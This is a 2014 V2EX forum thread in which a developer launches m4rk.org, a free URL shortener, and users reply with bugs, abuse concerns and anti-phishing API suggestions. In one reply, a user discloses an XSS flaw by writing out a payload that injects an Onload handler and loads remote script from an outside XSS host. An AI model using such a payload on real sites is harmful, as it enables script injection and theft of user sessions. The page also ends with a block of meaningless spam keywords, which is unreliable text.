搞了个完全免费的链接分享管理平台 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
爱意满满的作品展示区。
dz225
V2EX    分享创造

搞了个完全免费的链接分享管理平台

  •  5
     
  •   dz225 2014-12-10 17:32:50 +08:00 15449次点击
    这是一个创建于 4009 天前的主题,其中的信息可能已经有所发展或是发生改变。
    因为自己喜欢使用分享短链,特别是遇到需要在移动终端使用的地址,打开 qq 印象笔记 什么的传送一个链接而已 too 重 too 复杂了,运行客户端时间都够我直接手打了。

    于是遇到了问题,不能保存历史短链,每次要用到了都需要重新生成,不能标记、分类等等,过段时间自己都不知道是干嘛的了。。。。

    于是,找遍了都没有找到支持这些的平台,于是自己搞吧搞吧弄了一个,分享给跟我一样有强迫症的人


    功能特性:

    1.支持批量生成短链

    2.直接生成QR码

    3.支持自定义url

    4.支持给链接设置密码

    5.支持添加描述

    6.支持收藏、分类


    more....


    7.支持编辑已生成连接(包括添加密码、更改原链接等)

    8.支持自定义跳转页面

    9.支持区域限定(如只有china用户可以打开,或每个区域打开不同的连接)

    10.统计分析每个连接的点击

    11.可导出csv备份与分析

    12.可开放公共面板,发布更新公开链接

    13.支持 书签栏 工具,本地登录后使用可直接同步到账户中

    .....
    仍在逐步完善



    以上

    完全免费

    请大家笑纳!



    差点忘记地址: http://m4rk.org
    第 1 条附言    2014-12-10 19:28:52 +08:00
    感谢每一位测试和发现问题的v友,朋友说发现了高级使用技巧,可以隐藏书签栏中 你懂的 链接,好吧,有更好的技巧欢迎V友分享!
    第 2 条附言    2014-12-11 11:20:37 +08:00
    有很多v友遇到主页m4rk后跳转json页面的bug,初步测试是页面没有加载完成造成的,可以暂时尝试刷新解决,因为利用了google的调用,导致加载出现此问题,正在尝试更换新的方案,感谢各位v友的提点
    第 3 条附言    2014-12-13 13:14:14 +08:00
    更新:

    增加Google Safe Browsing及PhishTank反钓鱼功能

    增加自动清理公共链接无用及垃圾数据

    感谢所有v友(● ̄() ̄●)
    97 条回复    2015-10-10 14:17:40 +08:00
    Kilerd
        1
    Kilerd  
       2014-12-10 18:28:44 +08:00
    弄短接都要打,在不好
    abelyao
        2
    abelyao  
       2014-12-10 18:37:18 +08:00
    楼上说得有道理,搞验证码实在没必要,你 26 个大写字母 26 个小写字母 10 个数字,五个长度可以有 916132832 个组合了,还怕被人刷爆?
    另外这个 Bootstrap 的主题还挺好看的,尤其是中文表单的效果不错。
    dz225
        3
    dz225  
    OP
       2014-12-10 18:39:26 +08:00
    @Kilerd
    @abelyao
    了解,立即去掉!
    dz225
        4
    dz225  
    OP
       2014-12-10 18:39:57 +08:00
    @Kilerd
    @abelyao
    主要是避免被用来发送垃圾广告什么的
    shoumu
        5
    shoumu  
       2014-12-10 18:43:02 +08:00
    直接点击M4rk显示了json串
    dz225
        6
    dz225  
    OP
       2014-12-10 18:45:40 +08:00
    @shoumu 测试没遇到,能说明下系统环境很浏览器吗?
    dz225
        7
    dz225  
    OP
       2014-12-10 18:45:56 +08:00
    @shoumu 是LOGO那里的?
    abelyao
        8
    abelyao  
       2014-12-10 18:46:22 +08:00
    @dz225 有人愿意用你这个去生成垃圾广告并且到处发,至少为你的域名带来了很大的曝光率和点击量,9亿次能被刷满,那你的站也值得投入更多的精力来完善了,而且只要把位数再加一位就可以扩展到 56800235584 这得多么疯狂~ 到时再加验证码也不迟~
    Tink
        9
    Tink  
    PRO
       2014-12-10 18:46:59 +08:00 via iPad
    刚开始学php的时候,也写过一个类似的,后来荒废了。。。
    cooiky
        10
    cooiky  
       2014-12-10 18:48:13 +08:00
    猎豹浏览器打开是空白的。。。
    abelyao
        11
    abelyao  
       2014-12-10 18:48:45 +08:00
    @dz225 他说的是什么都不填的时候,直接点击 m4kr 生成,会跳转到 http://m4rk.org/shorten 并且显示 {"error":1,"msg":"\u8bf7\u8f93\u5165\u4e00\u4e2a\u6709\u6548\u7684URL\u3002"}
    abelyao
        12
    abelyao  
       2014-12-10 18:51:30 +08:00
    另外,Latest Public URLs 那里的时间有错误,刚刚生成的显示 15 hours 以前。
    还有,咱中文网站能不用 google font api 吗,既然中文网站面向大陆地区,就要考虑这玩意被墙了,打开卡半天。
    dz225
        13
    dz225  
    OP
       2014-12-10 18:53:29 +08:00
    @abelyao 了解的,但是被滥用真不是我的本意。。。只希望能对更多需要的人有用
    dz225
        14
    dz225  
    OP
       2014-12-10 18:55:31 +08:00
    @cooiky
    @abelyao
    猎豹极速浏览器?貌似是因为没有加载完页面造成的,应该就是google font的原因。。。
    abelyao
        15
    abelyao  
       2014-12-10 18:56:53 +08:00
    @dz225 我的是 google chrome 这和浏览器无关,输出的内容就是一段 json 而且是直接跳转的
    Kilerd
        16
    Kilerd  
       2014-12-10 19:20:31 +08:00 via Android
    @dz225 其实能有广告信息也是不错的。这是新站最好的宣传了。
    dz225
        17
    dz225  
    OP
       2014-12-10 19:21:07 +08:00
    @abelyao 问题正在更新中,唯独没有复现json的问题。。。
    dz225
        18
    dz225  
    OP
       2014-12-10 19:26:31 +08:00
    @Kilerd 谢谢,怪我器量太小,只想做成对自己有用的工具,还没想到做成一个产品
    shiny
        19
    shiny  
    PRO
       2014-12-10 19:29:14 +08:00
    短链最头疼的问题是挂马、钓鱼、诈骗也很青睐
    dz
        20
    dz  
       2014-12-10 19:31:38 +08:00
    看到这个必须来注册一个,相当有用,一定要赞一个。

    给个技巧,将二维码重新通过楼主网站生成,可以作为统计分析二维码被扫描的数据
    dz225
        21
    dz225  
    OP
       2014-12-10 19:33:32 +08:00
    @shiny 就是这个,最怕的不是被各安全检测站拉黑,最怕成为帮凶
    dz
        22
    dz  
       2014-12-10 19:42:14 +08:00
    Repositories其实就是链接包吧,Profile就是公共页面,好像可以玩很多好玩的了?
    jkjoke
        23
    jkjoke  
       2014-12-10 19:44:48 +08:00
    谁帮忙测试下,我做的短链站是不是被墙了? 我这里要翻墙才能访问
    http://tmaii.ml/
    jkjoke
        24
    jkjoke  
       2014-12-10 19:46:21 +08:00
    功能很丰富,比单纯的短链更实用
    alore
        25
    alore  
       2014-12-10 19:49:24 +08:00
    东西不错,但是灰常灰常慢...
    dz225
        26
    dz225  
    OP
       2014-12-10 19:55:42 +08:00
    @jkjoke 没有被墙


    @alore 正在慢慢改进中!
    jqw1992
        27
    jqw1992  
       2014-12-10 20:08:55 +08:00
    我都用 http://tma11.co 这个功能也很多
    Kilerd
        28
    Kilerd  
       2014-12-10 20:13:46 +08:00
    @dz225 其我想不到短接能做出什垃圾告的花
    evlos
        29
    evlos  
       2014-12-10 20:18:39 +08:00
    @dz225 我以前提供短网址服务的时候就被各种安全检测站拉黑了,在 QQ 上发也会收到警告,很多不知道短网址服务是什么的人,基本上就会以为我们是帮凶,然后就直接举报了这个网址吧。。。
    Sunyanzi
        30
    Sunyanzi  
       2014-12-10 20:19:58 +08:00
    短链接服务一定要考虑多重跳转的好吗 ... 比如这个 http://m4rk.org/Z6qEn ...
    miyuki
        31
    miyuki  
       2014-12-10 20:20:21 +08:00 via Android
    @jkjoke 没有 北方电信
    jkjoke
        32
    jkjoke  
       2014-12-10 20:26:59 +08:00
    @dz225
    @miyuki 谢谢,可能是我网络问题
    bhqt
        33
    bhqt  
       2014-12-10 20:30:34 +08:00
    @jqw1992 为什么感觉和楼主用的是同一个程序呢,这个是啥程序
    penjianfeng
        34
    penjianfeng  
       2014-12-10 20:37:03 +08:00
    带宽不够了?点击高级选项一直连接中...
    jqw1992
        35
    jqw1992  
       2014-12-10 20:37:25 +08:00
    @bhqt 我去,我刚才没有进去...还真的是痛一个程序...我去...tf上的一个收费程序...
    jqw1992
        36
    jqw1992  
       2014-12-10 20:41:31 +08:00
    @bhqt http://gempixel.com/project/premium-url-shortener/ 这个是作者的介绍页面。
    http://codecanyon.net/item/premium-url-shortener/3688135 购买地址。
    这个还有一个wp的搭配插件,很强大...
    wenjun32
        37
    wenjun32  
       2014-12-10 20:44:55 +08:00
    域名不错!
    dz225
        38
    dz225  
    OP
       2014-12-10 20:48:04 +08:00
    @jqw1992 我只是找朋友要到了一份,原代码bug真心多,重构了大部分并增加了一些功能代码,不建议花钱购买。
    jqw1992
        39
    jqw1992  
       2014-12-10 20:51:52 +08:00
    @dz225 我程序放上去用了几个月了,还好吧。的确很强大...作者很厉害,另外他的其他几个作品都很不错...
    loveyu
        40
    loveyu  
       2014-12-10 20:55:19 +08:00
    看来中文乱码要解决下啊
    ob
        41
    ob  
       2014-12-10 20:55:46 +08:00
    @bhqt 基本上都一样吧,哈哈
    短链最怕存活时间啊。

    @dz225 说话m4rk是啥意思?不大好记。。
    dz225
        42
    dz225  
    OP
       2014-12-10 20:57:17 +08:00
    @ob m4rk=mark=标记
    shiny
        43
    shiny  
    PRO
       2014-12-10 21:13:08 +08:00
    @dz225 我也做过短网址,被建行反钓鱼找过,被域名注册商发过信,被网警直接发信给阿里云要求关闭。
    而且……这个东西很难盈利,服务器钱都要倒贴,面临高峰的时候因为硬件跟不上服务还会挂,很难搞。
    wadezhao
        44
    wadezhao  
       2014-12-10 21:24:24 +08:00   1
    @evlos 是的,短网址是国家重点打击对象,因为让追踪更困难了,各种短网址,最后肯定都会被挡到GFW之外。
    yaoye0o
        45
    yaoye0o  
       2014-12-10 21:40:01 +08:00 via Android
    chrome39,android5.0.0,一片空白
    yaoye0o
        46
    yaoye0o  
       2014-12-10 21:45:31 +08:00 via Android
    @yaoye0o 抱歉回复完后发现打开了,但还是有问题。第一次点一片空白(加载完成状态),刷新重新加载,很慢很慢,接近不动,直接关了。用的是联通4g
    PetTko
        47
    PetTko  
       2014-12-10 22:21:52 +08:00
    @dz225 特意测试了下,楼主网站的体验的确要比上面的http://tma11.co 好一些,特别是功能强大并且是免费的,另外应该是同一个框架的问题,手机版一些浏览器不能正常使用。

    其实不管是什么程序,只要能坚持维护,使用友好即可,没必要纠结到代码上
    PetTko
        48
    PetTko  
       2014-12-10 22:24:55 +08:00
    发现http://tma11.co站长应该也在,一些说明已经更改成跟楼主网站里的一样了
    ilay1678
        49
    ilay1678  
       2014-12-10 22:28:23 +08:00
    @Sunyanzi 不错啊
    yibie
        50
    yibie  
       2014-12-11 00:36:14 +08:00
    很有意思的服务,马上登记在 mindstore 上
    xuwenmang
        51
    xuwenmang  
       2014-12-11 02:45:43 +08:00
    老实说,不太敢点击短链。。。大部分都是写垃圾信息。
    xcv58
        52
    xcv58  
       2014-12-11 05:30:37 +08:00
    个人使用这些功能是够强大了。
    但我一直对短网址(自动生成的那种)的用途存在疑惑。

    因为反正后缀是无意义的字符串组合,靠记忆有点不现实。
    所以需要用网络发送,这时候短网址和长网址有什么区别呢?

    我能想到的有:
    1. 微博/推特
    2. 排版更整洁

    实在想不起来其他的好处,谁能给提示一下?
    ibolee
        53
    ibolee  
       2014-12-11 09:00:10 +08:00
    {"error":0,"short":"http:\/\/m4rk.org\/rDCd1"}
    v4an
        54
    v4an  
       2014-12-11 09:04:33 +08:00
    同error
    Lyleaks
        55
    Lyleaks  
       2014-12-11 09:20:16 +08:00
    @dz225 发现个xss,file:a@"Onload="jQuery.getScript('http://xssnow.com/jmHY')
    mjever
        56
    mjever  
       2014-12-11 09:20:24 +08:00   1
    @jkjoke 发现图钉一枚
    jkjoke
        57
    jkjoke  
       2014-12-11 09:35:19 +08:00
    @mjever 图钉你好!
    mjever
        58
    mjever  
       2014-12-11 09:41:25 +08:00
    @jkjoke 看了你的设计主页,赞一个
    Mizzi
        59
    Mizzi  
       2014-12-11 09:52:19 +08:00 via iPhone
    @dz225 确实很好用,楼主完全免费不是将http://tma11.co站长的高级功能收费的财路断掉了吗?哈哈我喜欢!!就担心楼主要坚持维护下来啊!

    @xcv58 很多地方限制字符长度和隐藏原地址的场景需要用到,比如下载前的跳转链接等等,而且楼主的平台还能免费自定义跳转页面,那相当有用了,另外我喜欢统计功能,还能备份,使用场景就多了,向@dz 说的将二维码重新用楼主平台生成可以统计二维码的扫描次数等等
    jkjoke
        60
    jkjoke  
       2014-12-11 10:00:06 +08:00
    @mjever 谢谢光临小站
    thanksir
        61
    thanksir  
       2014-12-11 10:59:46 +08:00
    dz225
        62
    dz225  
    OP
       2014-12-11 11:16:43 +08:00
    @shiny
    @wadezhao 没有考虑过盈利,只想做一个有用的工具,后面验证码肯定是必然会添加的,只希望不要给搞黑产的人机会,如果还有什么经验感谢分享下!:)
    dz225
        63
    dz225  
    OP
       2014-12-11 11:21:32 +08:00
    @ibolee
    @v4an
    @thanksir 初步测试是页面没有加载完成造成的,可以暂时尝试刷新解决,因为利用了google的调用,导致加载出现此问题,正在尝试更换新的方案,感谢各位v友的提点
    dz225
        64
    dz225  
    OP
       2014-12-11 11:23:26 +08:00
    @Lyleaks 你好,刚看了下,是在主页测试弹出的还是跳转页??好像我没有能复现?
    imn1
        65
    imn1  
       2014-12-11 11:26:55 +08:00
    新海盗湾?
    dz225
        66
    dz225  
    OP
       2014-12-11 11:29:14 +08:00
    @PetTko
    @Mizzi 感谢支持,不出意外一定会坚持维护下去并且永久免费,只是不希望被某些黑产的人利用了,就算自己做不到也希望能够吸引到有实力和精力的人来做个更好的站,仅此而已。
    shiny
        67
    shiny  
    PRO
       2014-12-11 11:34:01 +08:00
    不考虑盈利,面临高访问量的时候就会很蛋疼,因为没钱加机器。
    wadezhao
        68
    wadezhao  
       2014-12-11 11:36:58 +08:00
    @dz225 嗯,我没有说你考虑盈利,呵呵。我说的就是即使不考虑盈利,也会面临政策的风险,而且几乎必然的,没办法,这就是国情……
    dz225
        69
    dz225  
    OP
       2014-12-11 11:48:53 +08:00
    @shiny 那个估计有点远了,到时准备走严格控制及求捐助路线

    @wadezhao 国情就是最闹心的。。。。再考虑看看有什么好的解决方案没。。。
    shiny
        70
    shiny  
    PRO
       2014-12-11 11:50:08 +08:00
    @dz225 我举个简单的例子,有人把短链接放 QQ 空间里传播,一天请求量有几百万。
    这并不遥远,做短网址很容易遇到各种各样大流量的情况。
    Lyleaks
        71
    Lyleaks  
       2014-12-11 12:42:36 +08:00
    @dz225 主页
    RangerWolf
        72
    RangerWolf  
       2014-12-11 12:42:38 +08:00
    记得chrome webstore 上面有个 WOT 的url 检测插件。 试试看能不能调用里面的检测api检测一下url 是否危险, 应该能挡掉一部分垃圾、挂马地址吧。。。
    danniel
        73
    danniel  
       2014-12-11 16:38:54 +08:00
    cool!
    zxy
        74
    zxy  
       2014-12-11 16:56:31 +08:00
    kzzhr
        75
    kzzhr  
       2014-12-11 21:02:42 +08:00
    LZ用的哪个CSS?真漂亮!
    withrock
        76
    withrock  
       2014-12-11 22:19:16 +08:00
    支持一个,感觉棒棒哒!
    withrock
        77
    withrock  
       2014-12-11 22:23:14 +08:00
    突然发现两个站重了
    cattail
        78
    cattail  
       2014-12-11 22:24:52 +08:00
    dz225
        79
    dz225  
    OP
       2014-12-12 10:17:12 +08:00
    @RangerWolf 感谢,去拆来研究研究

    @cattail 小站快被你们玩坏了。。。
    Septembers
        80
    Septembers  
       2014-12-13 00:57:35 +08:00
    @dz225 我觉得可以考虑使用
    WOT API(https://www.mywot.com/wiki/API)

    Google Safe Browsing API(https://developers.google.com/safe-browsing/)
    来防御一部分恶意Short URL"申请"
    dz225
        81
    dz225  
    OP
       2014-12-13 12:46:36 +08:00
    @shiny
    @evlos
    @Lyleaks
    @RangerWolf
    @Septembers

    感谢各位,已完成添加Google Safe Browsing及PhishTank反钓鱼API,感谢白帽@Lyleaks
    shiny
        82
    shiny  
    PRO
       2014-12-13 13:04:07 +08:00
    @dz225 我们线上用的是金山的 API,针对国内网址更有效一些: http://code.ijinshan.com/api/
    另外 360 的人曾经联系我们说 t.cn 是和 360 合作的。但是这个 API 很难申请到。
    neilp
        83
    neilp  
       2014-12-13 14:27:59 +08:00
    楼主求源码分享啊
    RangerWolf
        84
    RangerWolf  
       2014-12-13 19:36:16 +08:00
    @dz225 赞一个~
    googlefans
        85
    googlefans  
       2014-12-15 10:38:00 +08:00
    @jqw1992 看这个网站和m4rk相似度好高。。
    mrqyoung
        86
    mrqyoung  
       2014-12-17 12:40:20 +08:00
    特意注册个账号来表示感谢的。
    等待的7171秒期间注册了m4rk,随意用了一个邮箱,结果要验证激活的,现在怎么办?又不能修改邮箱了,重新注册又提示ID被占用了。。。
    (你目前的铜币数量 0.0 不足以创建这个回复 查看账户余额, 好高端)
    dz225
        87
    dz225  
    OP
       2014-12-17 15:00:57 +08:00
    @mrqyoung 你好,可以在这里提交你注册的邮箱http://m4rk.org/contact,我给你手动更换
    ninqq
        88
    ninqq  
       2014-12-28 18:07:16 +08:00
    挺好用的,链接统计功能可以用来监控包月广告 ,要是能开源就好了
    Imgur
        89
    Imgur  
       2015-05-27 09:58:56 +08:00
    @PetTko jqw1992 就是站长吧?不地道啊,已经完全扒了LZ的样式了
    westlinkin
        90
    westlinkin  
       2015-09-04 09:12:28 +08:00
    服务很好用,不过现在 403 了。。。
    dz225
        91
    dz225  
    OP
       2015-09-04 19:28:12 +08:00 via iPhone
    @westlinkin 感谢使用,是在更换服务器,已完成了可以继续使用!
    liangjie123
        92
    liangjie123  
       2015-09-27 16:10:00 +08:00
    @dz225 服务挂了吗?无法创建短链接了。
    dz225
        93
    dz225  
    OP
       2015-09-28 23:28:39 +08:00 via Android
    @liangjie123 没有啊,看看是不是被墙资源了
    liangjie123
        94
    liangjie123  
       2015-10-06 19:31:27 +08:00
    @dz225 其他链接都可以 但是我自己的 URL 不行 不知道为什么 之前批量创建过几十个 是不是触发了什么限制规则
    dz225
        95
    dz225  
    OP
       2015-10-09 13:05:57 +08:00 via iPhone
    @liangjie123 你的 URL 是什么?
    liangjie123
        96
    liangjie123  
       2015-10-09 19:12:41 +08:00 via iPhone
    dz225
        97
    dz225  
    OP
       2015-10-10 14:17:40 +08:00
    @liangjie123 测试没有问题,因需要获取页面信息,请保证 URL 页面有效,没有各种 http 错误
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2919 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 30ms UTC 13:53 PVG 21:53 LAX 05:53 JFK 08:53
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86